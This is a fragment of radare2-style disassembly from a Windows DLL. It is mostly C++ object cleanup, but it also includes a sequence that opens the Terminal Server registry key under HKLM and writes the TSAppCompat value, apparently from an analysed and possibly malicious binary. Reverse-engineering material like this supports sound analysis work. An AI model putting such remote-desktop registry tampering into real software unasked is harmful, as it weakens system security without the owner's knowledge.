mov byte [esp + 0x6d8], 1
dec eax
mov dword [esp + 0x1c], eax
jne 0x10002c2a
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x10002c2a
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6d8], 0
dec eax
mov dword [esp + 0x14], eax
jne 0x10002c52
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x10002c52
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x10], esi
lea ecx, [esp + 0x5c]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.100012b0
xor eax, eax
jmp 0x10002deb
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov esi, dword [esp + 0x48]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x88]
xor esi, esi
push edx
push 0xf013f
push esi
push str.SystemCurrentControlSetControlTerminal_Server
push 0x80000002
mov dword [esp + 0x9c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [esp + 0x88]
cmp eax, esi
je 0x10002cd8
lea ecx, [esp + 0x48]
push 4
push ecx
push 4
push esi
push str.TSAppCompat
push eax
mov dword [esp + 0x60], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x88]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x3c]
mov dword [0x1000c2f8], 1
dec eax
mov byte [esp + 0x6d8], 5
mov dword [esp + 0x3c], eax
jne 0x10002d0a
mov eax, dword [esp + 0x38]
cmp eax, esi
je 0x10002d0a
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x38], esi
mov eax, dword [esp + 0x34]
mov byte [esp + 0x6d8], 4
dec eax
mov dword [esp + 0x34], eax
jne 0x10002d32
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x10002d32
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x30], esi
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x6d8], 3
dec eax
mov dword [esp + 0x2c], eax
jne 0x10002d5a
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x10002d5a
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x28], esi
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6d8], 2
dec eax
mov dword [esp + 0x24], eax
jne 0x10002d82
mov eax, dword [esp + 0x20]
cmp eax, esi
je 0x10002d82
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x20], esi
mov eax, dword [esp + 0x1c]
mov byte [esp + 0x6d8], 1
dec eax
mov dword [esp + 0x1c], eax
jne 0x10002daa
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x10002daa
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6d8], 0
dec eax
mov dword [esp + 0x14], eax
jne 0x10002dd2
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x10002dd2
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x10], esi
lea ecx, [esp + 0x5c]
mov dword [esp + 0x6d8], 0xffffffff
call fcn.100012b0
mov eax, 1
mov ecx, dword [esp + 0x6d0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6cc
ret